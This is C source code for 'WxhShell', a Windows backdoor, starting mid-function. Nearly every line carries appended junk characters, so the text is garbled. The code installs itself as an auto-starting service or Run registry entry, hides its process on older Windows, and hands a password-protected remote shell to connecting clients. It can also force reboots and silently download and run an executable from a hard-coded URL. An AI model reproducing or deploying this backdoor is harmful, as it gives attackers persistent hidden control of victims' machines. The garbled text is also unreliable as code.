    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,|,kU0xXz  
    if(Boot(SHUTDOWN)) ^L8:..+:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); */K]sQZa  
    else { +Yc@<$4  
    closesocket(wsh); 3preBs#i  
    ExitThread(0); BMV\@Sg  
    } |sP0z !)b  
    break; ]&`=p{Z  
    } ]mgpd}Y  
  // 获取shell ASr@5uFR  
  case 's': { AN|f:259  
    CmdShell(wsh); %L wq.  
    closesocket(wsh); %Y5F@=>&  
    ExitThread(0); ]<c\+9  
    break; .~q>e*8AH  
  } /^bU8E&^M  
  // 退出 n[# **s  
  case 'x': { 7VWy1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V?p`rrj@  
    CloseIt(wsh); |`{$Ego:  
    break; i XGy*#>V  
    } OPogH=vf  
  // 离开 rR#wbDr5  
  case 'q': { 2~B5?(g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ugTnz$  
    closesocket(wsh); \=xS?(v!  
    WSACleanup(); RZ ?SiwE  
    exit(1); |zd5P  
    break; w|*D{`O  
        } {LCKt/Z>P  
  } x~{W(;`!  
  } N%1nii  
UdA,.C0  
  // 提示信息 v$g\]QS p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )@y7 qb  
} 02T'B&&~  
  } ,q{~lf -  
9>`dB  
  return; h'_$I4e)  
} aVr=7PeF  
BqA_C W  
// shell模块句柄 |oe  
int CmdShell(SOCKET sock) <E^;RG  
{ wx!2/I>  
STARTUPINFO si; lIO#)>  
ZeroMemory(&si,sizeof(si)); 5j9%W18  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o=xMaA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0<fQjXn  
PROCESS_INFORMATION ProcessInfo; BlcsDB =ka  
char cmdline[]="cmd"; YIb7y1\UM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'm-5  
  return 0; Z5EII[=$o  
} ^gR~~t;@  
;lhW6;oI'  
// 自身启动模式 P6=5:-Hh  
int StartFromService(void) aH8]$e8_,\  
{ ;W FiMM\  
typedef struct ez5>V7Y  
{ yMD0Tj5ZQ  
  DWORD ExitStatus; L 7LUy$M-<  
  DWORD PebBaseAddress; :C,}DyZy  
  DWORD AffinityMask; -pQ?ybQ  
  DWORD BasePriority; -C!m#"PDW  
  ULONG UniqueProcessId; giW9b_  
  ULONG InheritedFromUniqueProcessId; I }8b]  
}   PROCESS_BASIC_INFORMATION; 1\)lD(J\C  
Neii$  
PROCNTQSIP NtQueryInformationProcess; N%e^2O)  
s|TO9N)pO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }"v#_vJfz7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R4$(NNC+/  
&yOl}?u  
  HANDLE             hProcess; T\:*+W37  
  PROCESS_BASIC_INFORMATION pbi; aMJ2bu  
Xh/BVg7$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t3K9 |8<  
  if(NULL == hInst ) return 0; (*V!V3E3#  
nY\X!K65  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yF+mJ >kj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZW@cw}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kV!1k<f  
0I2?fz)  
  if (!NtQueryInformationProcess) return 0; Ra:UnA  
vmo!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2t>>08T  
  if(!hProcess) return 0; ~d ~oC$=TC  
G{Uqp'=G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A6   
:lmimAMt  
  CloseHandle(hProcess); ?@MWV   
Y@T$O<*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7| j rk  
if(hProcess==NULL) return 0; C 20VSwd  
Be<bBKQb  
HMODULE hMod; TD4 n%k.  
char procName[255]; HIfi18  
unsigned long cbNeeded; F5M|QX@-  
wgq=9\+&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ejbtdU8N<  
!X-ThKEq  
  CloseHandle(hProcess); ")nKFs5  
%/hokyx  
if(strstr(procName,"services")) return 1; // 以服务启动 R$+"'N6p  
'GO *6$/  
  return 0; // 注册表启动 ,Z7Ky*<j  
} ZZfi,0R  
nB5^  
// 主模块 g9d/nR X&  
int StartWxhshell(LPSTR lpCmdLine) q~*|Wd'&  
{ o? K>ji!  
  SOCKET wsl; ]"j%:fr  
BOOL val=TRUE; */$]kE  
  int port=0; (Fq]y5  
  struct sockaddr_in door; oU*e=uehj  
Y ._O m}H  
  if(wscfg.ws_autoins) Install(); -B-HZ_  
47A[-&y*X  
port=atoi(lpCmdLine); 7;?7q  
s!Iinc^p  
if(port<=0) port=wscfg.ws_port; h///  
Mt%Q5^  
  WSADATA data; h96<9L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qkw_9  
_p9 _Pg8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;     &._Mh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zu P3/d  
  door.sin_family = AF_INET; <xH! Yskc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s9fEx -!y  
  door.sin_port = htons(port); v`:!$U* H=  
.cmhi3o4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2(Yt`3Go(  
closesocket(wsl); '[HU!8F  
return 1; n:H |=SF{  
} %z"$?Iv  
*)HVK&'  
  if(listen(wsl,2) == INVALID_SOCKET) { F`+S(APT8  
closesocket(wsl); [DTe  
return 1; F#qc#s  
} V gy12dE  
  Wxhshell(wsl); *0r!eD   
  WSACleanup(); HPo><u  
/^WawH6)6  
return 0; c]ga) A(  
ww'B!Ml>F  
} ^nQJo"g\  
d/YQ6oKU  
// 以NT服务方式启动 h_g "F@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z@jKzyq  
{ 7&L8zl|K  
DWORD   status = 0; UCo<ie\V  
  DWORD   specificError = 0xfffffff; f&&Ao  
C?6q ]k]r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -:b<~S[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [:A">eYI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LVL#qNIu  
  serviceStatus.dwWin32ExitCode     = 0; : >$v@d  
  serviceStatus.dwServiceSpecificExitCode = 0; X 3ZKN;  
  serviceStatus.dwCheckPoint       = 0; ?b(DDQMf  
  serviceStatus.dwWaitHint       = 0; M,Lq4bz  
+hH7|:JQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &@PAv5iNf  
  if (hServiceStatusHandle==0) return; i A'p!l |P  
'p%w_VbI  
status = GetLastError(); =H}}dC<)  
  if (status!=NO_ERROR) s;tI?kR>%  
{ DnF|wS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M?['HoRo  
    serviceStatus.dwCheckPoint       = 0; nGTqW/k[+s  
    serviceStatus.dwWaitHint       = 0; Fg2/rC:_  
    serviceStatus.dwWin32ExitCode     = status; cn9=wm\\  
    serviceStatus.dwServiceSpecificExitCode = specificError; -W|~YK7e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [[}ukG4  
    return; -, $:^4  
  } oiz]Bd  
Xxm7s S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; GzT?I 7|M  
  serviceStatus.dwCheckPoint       = 0; Q"oJhxS  
  serviceStatus.dwWaitHint       = 0; }MM:qR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1O90 ]c0  
} fECmELd  
}F3}"Ik'L  
// 处理NT服务事件,比如:启动、停止 +]Z *_?j9{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t Q>/1  
{ ~6Odw GWV  
switch(fdwControl) XhOg>  
{ mt-t8~A  
case SERVICE_CONTROL_STOP: =]<X6!0mR  
  serviceStatus.dwWin32ExitCode = 0; u:^9ZQ+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^)3=WD'!  
  serviceStatus.dwCheckPoint   = 0; ,^@/I:  
  serviceStatus.dwWaitHint     = 0; XKT[8o<L  
  { \@_?mL@=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SMQC/t]HT  
  } 9a'}j#mJo  
  return; @\=4 Rin/q  
case SERVICE_CONTROL_PAUSE: >vuR:4B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g_"B:DR  
  break; UXHtmi|_:  
case SERVICE_CONTROL_CONTINUE: P;ZVv{mT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Vz y )jf  
  break; 3tmS/ tQp  
case SERVICE_CONTROL_INTERROGATE: Uz `OAb  
  break; +# @2,  
}; ORfMp'uP=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZYz8ul$E  
} ;#7:}>}rO  
id/y_ekfP  
// 标准应用程序主函数 O*Z -3 l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3E8 Gh>J_  
{ t0 T#Xb  
R>,_C7]u  
// 获取操作系统版本 '5 9{VA6h  
OsIsNt=GetOsVer(); qp/nWGj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P_ b8_ydU  
#5^S@}e  
  // 从命令行安装 >V&GL{  
  if(strpbrk(lpCmdLine,"iI")) Install(); <?!%dV{z  
Q1DiEg  
  // 下载执行文件 IXR%IggJA  
if(wscfg.ws_downexe) { jZq CM{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \YH*x`  
  WinExec(wscfg.ws_filenam,SW_HIDE); w|ct="MG  
} XBTjb  
_+&/P&  
if(!OsIsNt) { QEY#U|  
// 如果时win9x,隐藏进程并且设置为注册表启动 byIP]7Ld  
HideProc(); DM{Z#b]  
StartWxhshell(lpCmdLine); t y%Hrw  
} 7t6TB*H  
else ,k,+UisG  
  if(StartFromService()) LlbE]_Z!U%  
  // 以服务方式启动 VS5D)5w#  
  StartServiceCtrlDispatcher(DispatchTable); U H6 Jvt  
else #| m*k  
  // 普通方式启动 2K{)8 ;^  
  StartWxhshell(lpCmdLine); !LpFK0rw  
4/&.N]  
return 0; .gw6W0\F  
} 8oP"?ew#  
x\5\KGw16  
QV=|' S  
TnPx.mwK\  
=========================================== 4'L.I%#tZ  
<!~NG3KW[>  
4?aNJyV%&  
+`.,6TNVlY  
pA@BW:#  
va;fT+k=  
" s&-dLkis{u  
HgOrrewj  
#include <stdio.h> N<aMUVm  
#include <string.h> FC8#XZp  
#include <windows.h> Odbm"Y  
#include <winsock2.h> zUJPINDb  
#include <winsvc.h> D(">bR)1  
#include <urlmon.h> Jrx]/CM  
^:o^g'Yab  
#pragma comment (lib, "Ws2_32.lib") DA/ \[w?J  
#pragma comment (lib, "urlmon.lib") ujbJ&p   
ZJ |&t  
#define MAX_USER   100 // 最大客户端连接数 <{k8 K6  
#define BUF_SOCK   200 // sock buffer Xm^/t#  
#define KEY_BUFF   255 // 输入 buffer o 0H.DeP  
hKN/&P^  
#define REBOOT     0   // 重启 F6 f  
#define SHUTDOWN   1   // 关机 r} a,  
t~ z;G%a  
#define DEF_PORT   5000 // 监听端口 _z& H O  
TiSV`V q  
#define REG_LEN     16   // 注册表键长度 ??g = `yH  
#define SVC_LEN     80   // NT服务名长度 "'U]4Z%q!  
~P+;_  
// 从dll定义API iiV'-!3w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -W)8Z.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m%i!;K"{s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K%NgZ(x(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tQIz  
kC0^2./p  
// wxhshell配置信息 !F# ^Peb  
struct WSCFG { e `IL7$  
  int ws_port;         // 监听端口 &=v5M9GR]  
  char ws_passstr[REG_LEN]; // 口令 ;C+ _KS  
  int ws_autoins;       // 安装标记, 1=yes 0=no e1 P(-V  
  char ws_regname[REG_LEN]; // 注册表键名 =tqChw   
  char ws_svcname[REG_LEN]; // 服务名 V%n7 h&\%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~|=G3( I[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .\|}5J9W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {tF)%>\#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e&F=w`F\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vA0f4W 8+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rc`zt7hbJ  
EdS7m,d  
};  H r;\}  
~{npG  
// default Wxhshell configuration 0J 1&6b  
struct WSCFG wscfg={DEF_PORT, Hc-Ke1+  
    "xuhuanlingzhe", M K, $#  
    1, kr5'a:F)  
    "Wxhshell", %CG=mTP  
    "Wxhshell", wy# 5p]!u  
            "WxhShell Service", g42Z*+P6N  
    "Wrsky Windows CmdShell Service", RRR=R]  
    "Please Input Your Password: ", pL{:8Ed  
  1, 5s1XO*s)>X  
  "http://www.wrsky.com/wxhshell.exe", ^%m~VLH  
  "Wxhshell.exe" jo[U6t+pj7  
    }; D P+W* 87J  
' 8UhYwyr  
// 消息定义模块 -^= JKd &p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $3{I'r]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,IQ%7*f;O_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; txe mu *  
char *msg_ws_ext="\n\rExit."; +cx(Q(HD\  
char *msg_ws_end="\n\rQuit."; 2)jf~!o)Z  
char *msg_ws_boot="\n\rReboot..."; MHAWnH8  
char *msg_ws_poff="\n\rShutdown..."; #i[V {J8.p  
char *msg_ws_down="\n\rSave to "; 7>yb8/J  
cW\Y1=Gv|  
char *msg_ws_err="\n\rErr!"; &%`0&y  
char *msg_ws_ok="\n\rOK!"; m7m)BX%O  
SI/p8 ^  
char ExeFile[MAX_PATH]; T+)#Du  
int nUser = 0; 9l:vVp7Uk  
HANDLE handles[MAX_USER]; NC{8[*Kx5  
int OsIsNt; hZeF? G)L'  
4F?O5&329i  
SERVICE_STATUS       serviceStatus; 6yXMre)YV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Mg=R**s1x%  
f&`yiy_  
// 函数声明 kDK0L3}nr]  
int Install(void); $C9['GGR  
int Uninstall(void); 5tm:|.`SQ  
int DownloadFile(char *sURL, SOCKET wsh); -Oc  
int Boot(int flag); NUGiDJ+[  
void HideProc(void); &3bhK5P  
int GetOsVer(void); IyGW>g6_.  
int Wxhshell(SOCKET wsl); khfWU  
void TalkWithClient(void *cs); oD~q/04!  
int CmdShell(SOCKET sock); =FXq=x%9+  
int StartFromService(void); t{Gc,S!]5  
int StartWxhshell(LPSTR lpCmdLine); \xexl1_;  
XF Wo"%}w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mA0|W#NB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -3&mgd  
+{"w5o<CO  
// 数据结构和表定义 wVtBH_>  
SERVICE_TABLE_ENTRY DispatchTable[] = lyQNE3   
{ 3d*wZ9qz  
{wscfg.ws_svcname, NTServiceMain}, :N ]H"u9X  
{NULL, NULL} cg'z:_l  
}; wTPHc:2  
#]FJx  
// 自我安装 OK=ANQjs(  
int Install(void) .vhEm6wJUM  
{ 2+qU9[kd|  
  char svExeFile[MAX_PATH]; jin XK  
  HKEY key; .+dego:  
  strcpy(svExeFile,ExeFile); =z +iI;  
Q@? {|7:  
// 如果是win9x系统,修改注册表设为自启动 #tlhH\Pr[  
if(!OsIsNt) { q;H5S<]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }X^CH2,R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O (YvE  
  RegCloseKey(key); s!\G i5b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R)BH:wg"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vON1\$bu `  
  RegCloseKey(key); cK~VNzsz  
  return 0; 3pI)  
    } 299uZz}Y  
  } %n:ymc $}  
} pl5Q2zq%  
else { @rt}z+JF  
]{PJ  
// 如果是NT以上系统,安装为系统服务 H5?H{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l. 0|>gj`0  
if (schSCManager!=0) x]<0Kq9K  
{ L<H6AzR+  
  SC_HANDLE schService = CreateService EGJrnz8  
  ( m00 5*>IY  
  schSCManager, $%0A#&DVh  
  wscfg.ws_svcname, <+)B8I^  
  wscfg.ws_svcdisp, J#*R]LU|  
  SERVICE_ALL_ACCESS, >J_%'%%f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gjo&~*;  
  SERVICE_AUTO_START, 'v'=t<wgl  
  SERVICE_ERROR_NORMAL, ,NoWAmv  
  svExeFile, iE=:}"pI"  
  NULL, #wP$LKk  
  NULL, Q'K[?W|C  
  NULL,  o C#W  
  NULL, _Q6` Wp6m  
  NULL b<"LUM*;  
  ); Jqgo\r%`  
  if (schService!=0) [gxH,=Pb  
  { N"&qy3F  
  CloseServiceHandle(schService); jv'q :uA^  
  CloseServiceHandle(schSCManager); %E`=c]!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \K(QE ~y'W  
  strcat(svExeFile,wscfg.ws_svcname); |FxTP&8~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bd@1j`i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HC/?o0  
  RegCloseKey(key); s.9_/cFWB  
  return 0;  $qyST  
    } f,QBj{M,  
  } +a!uS0fIJi  
  CloseServiceHandle(schSCManager); co [  
} kCZxv"Ts  
} Swnom?t  
V[baGNe  
return 1; =Z}=nS?4  
} +tvWp>T+  
=X}s^KbI{  
// 自我卸载 TOXZl3 s5#  
int Uninstall(void) 6`U]%qx_I  
{ vD p|9VY?  
  HKEY key; /dq(Z"O_  
b 3i34,  
if(!OsIsNt) { e.? ;mD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f~Q]"I8w  
  RegDeleteValue(key,wscfg.ws_regname); Xwt}WSdF`k  
  RegCloseKey(key); 9Jj:d)E>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i!dQ Sdf  
  RegDeleteValue(key,wscfg.ws_regname); ".Sa[A;~  
  RegCloseKey(key); 1]]#HTwX  
  return 0; i :Sih"=  
  } El4SL'E@  
} BhC>G2 ^7  
} P1A5Qq  
else { e]@R'oM?#`  
w^wh|'u^_@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J^)=8cy  
if (schSCManager!=0) "=vH,_"Ql  
{ ^.~m4t`U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;P!x/Ct  
  if (schService!=0) r>3y87  
  { 1@{qPmf^  
  if(DeleteService(schService)!=0) { J!@`tR-  
  CloseServiceHandle(schService); :zLeS-  
  CloseServiceHandle(schSCManager); W:*  {7qJ  
  return 0; 6R+EG{`  
  } wTkcR^  
  CloseServiceHandle(schService); 2<33BBlWA  
  } {}1KI+s9\  
  CloseServiceHandle(schSCManager); qjI.Sr70  
} {axMS yp;  
} +w'He9n  
%m?$"<q_K  
return 1; J{h?=vK  
} @'fWS^ ;&  
3KN>t)A#  
// 从指定url下载文件 g]Fm%iy  
int DownloadFile(char *sURL, SOCKET wsh) 8KyF0r?  
{ 5;_&C=[  
  HRESULT hr; !R@s+5P)U  
char seps[]= "/"; `;\~$^sj}  
char *token; E (bx/f  
char *file; VSW"/{Lp  
char myURL[MAX_PATH]; Zz@wbhMV  
char myFILE[MAX_PATH]; .U9A \$  
J'#R9NO<  
strcpy(myURL,sURL); vD'YLn%Q  
  token=strtok(myURL,seps); P2>Y0"bY  
  while(token!=NULL) \YrvH  
  { 3~6,fTMz{  
    file=token; N,~"8YSo  
  token=strtok(NULL,seps); %"g; K  
  } j#[%-nOT  
z((9vi W  
GetCurrentDirectory(MAX_PATH,myFILE); F  uJ=]T  
strcat(myFILE, "\\"); SJXP}JB_  
strcat(myFILE, file); Mv#\+|p 1x  
  send(wsh,myFILE,strlen(myFILE),0); )W.Y{\D0  
send(wsh,"...",3,0); 32Jl|@8,g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S1G3xY$0  
  if(hr==S_OK) 1./iF>*A  
return 0; 0V5{:mzA  
else S1D;Xv@  
return 1; 'e5,%"5(c  
Z|IFT1K  
} o]O  
sm96Ye{O{  
// 系统电源模块 jhkNi`E7  
int Boot(int flag) t o2y#4'.  
{ UgAG2  
  HANDLE hToken; vQhi2J'  
  TOKEN_PRIVILEGES tkp; f$p7L.d<  
T$r?LIa ,Q  
  if(OsIsNt) { qbu5aK}+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `R{ ZED l'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7$j O3J  
    tkp.PrivilegeCount = 1; RuuXDuu:VL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zg~6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #;~dA  
if(flag==REBOOT) { &RbT&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |?Bb{Es  
  return 0; aT`. e  
} 2#g4R  
else { to"[r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F}dq~QCzw  
  return 0; $mZpX:7/u8  
} CY i{WV(:  
  } bf&k:.v'8  
  else { c`x[C  
if(flag==REBOOT) { /!HFi>   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w\2yippI  
  return 0; qk=0ovUzg  
} ;|H(_J=6k  
else { Hg%8Q@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y_A?} 'X  
  return 0; Jk3V]u  
} !-Br?  
} j~VHU89  
`.F+T)G  
return 1; PML +$  
} j+7ok 5J#  
?)V}_%fVv  
// win9x进程隐藏模块 ;)gNe:Q  
void HideProc(void) -y5Z c?e  
{ 2=p"%YSn  
I!uGI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1?5UVv_F  
  if ( hKernel != NULL ) n^7m^1to  
  { q26%Z)'nf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xFy%&SKHg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 08JVX'X-mr  
    FreeLibrary(hKernel); .vJ t&@NO  
  } cA]Ch>]A%  
>( :b\*C  
return; qc6eqE  
} EU@XLm6  
2W]y9)<c  
// 获取操作系统版本 qtLXdSc  
int GetOsVer(void) jYi{[* *  
{ iJD_ qhd7  
  OSVERSIONINFO winfo;  }j /r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q($aN-   
  GetVersionEx(&winfo); LwL\CE_6+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0nOp'Ky\k  
  return 1; =gb(<`{>  
  else u{"@ 4  
  return 0; r GxX]  
} RS`~i8e'  
BL Q&VI4  
// 客户端句柄模块 YMEI J}  
int Wxhshell(SOCKET wsl) ,H+LE$=  
{ &}/h[v_#'  
  SOCKET wsh; oy!Dm4F  
  struct sockaddr_in client; ZFsJeF'"  
  DWORD myID; A7X-),D  
|~I-  
  while(nUser<MAX_USER) 'ffOFIz|=I  
{ |L"!^Y#=D  
  int nSize=sizeof(client); byUz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qn4jy6  
  if(wsh==INVALID_SOCKET) return 1; <dA1n:3o  
G B &+EZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "t\gkJyK  
if(handles[nUser]==0) OK"B`*  
  closesocket(wsh); :5M7*s)e16  
else xHMbtY  
  nUser++; K@PQLL#yJp  
  } lC&B4zec  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /P-Eg86V'  
umo@JWr  
  return 0; fsDwfwil*  
} >IzUn: 0F  
td6$w:SN,l  
// 关闭 socket @xI:ZtM  
void CloseIt(SOCKET wsh)  4[] /  
{ "x)xjL  
closesocket(wsh); F]SA1ry  
nUser--; $SmmrM  
ExitThread(0); =1}Umn|ZLS  
} C'c9AoE5>  
p#V h[UTl^  
// 客户端请求句柄 mtON dI  
void TalkWithClient(void *cs) )KLsa`RV:  
{ %4Thb\T  
bqt*d)$  
  SOCKET wsh=(SOCKET)cs; tsA+B&R_]  
  char pwd[SVC_LEN]; VYZkHjj)2i  
  char cmd[KEY_BUFF]; #+- /0{HT  
char chr[1]; Aey*n=V4#F  
int i,j; G} &{]w@  
CK+GD "Z$  
  while (nUser < MAX_USER) { ! awfxH0  
6SIk,Isy8  
if(wscfg.ws_passstr) { 8C{mV^cn~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =+qtk(p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V~uH)IMkh7  
  //ZeroMemory(pwd,KEY_BUFF); ]$>O--  
      i=0; i: ZL0nH-  
  while(i<SVC_LEN) { jB17]OCN  
H -sJt:  
  // 设置超时 1.Ximom  
  fd_set FdRead; 8SGFzb! h  
  struct timeval TimeOut; WYb\vm =r  
  FD_ZERO(&FdRead); v{}i`|~J  
  FD_SET(wsh,&FdRead); ZO2$Aan  
  TimeOut.tv_sec=8; cv b:FK  
  TimeOut.tv_usec=0; {5=Iu\e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YYz,sR'%|}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'xUyGj:  
9;^r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lKd+,<  
  pwd=chr[0]; \P;%fN  
  if(chr[0]==0xd || chr[0]==0xa) { G' ~Z'  
  pwd=0; mOb*VH  
  break; =Kv*M@  
  } PSO9{!  
  i++; ^qaS  
    } `!.)"BI/s  
)@xHL]!5m  
  // 如果是非法用户,关闭 socket GIt~"X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v: Av 2y  
} X4:\Shb97  
1jJ>(S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nl)!)t=n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XA~Cc<v  
.X;zEyd  
while(1) { mZ^z%+Ca|  
S0\;FmLIc  
  ZeroMemory(cmd,KEY_BUFF); bm>,$GW(  
QQso<.d&  
      // 自动支持客户端 telnet标准   v>FsP$p4yE  
  j=0; (6R^/*-o  
  while(j<KEY_BUFF) { @hlT7C)xK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UN <s1  
  cmd[j]=chr[0]; =rA"|=  
  if(chr[0]==0xa || chr[0]==0xd) { |D %m>M6  
  cmd[j]=0; +0016UgS#  
  break; NW'rqgG  
  } !1tHg Z2\  
  j++; }7>r,  
    } fb7Gy  
s4@dEK8W  
  // 下载文件 2F0@M|'  
  if(strstr(cmd,"http://")) { W0X/&v,k*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {8)Pke  
  if(DownloadFile(cmd,wsh)) 7cGc`7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =/Ob kVYf  
  else `.dX@<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DD3.el}6a  
  } GJ:65)KU  
  else { ]d$:R`;  
U ~j:b{  
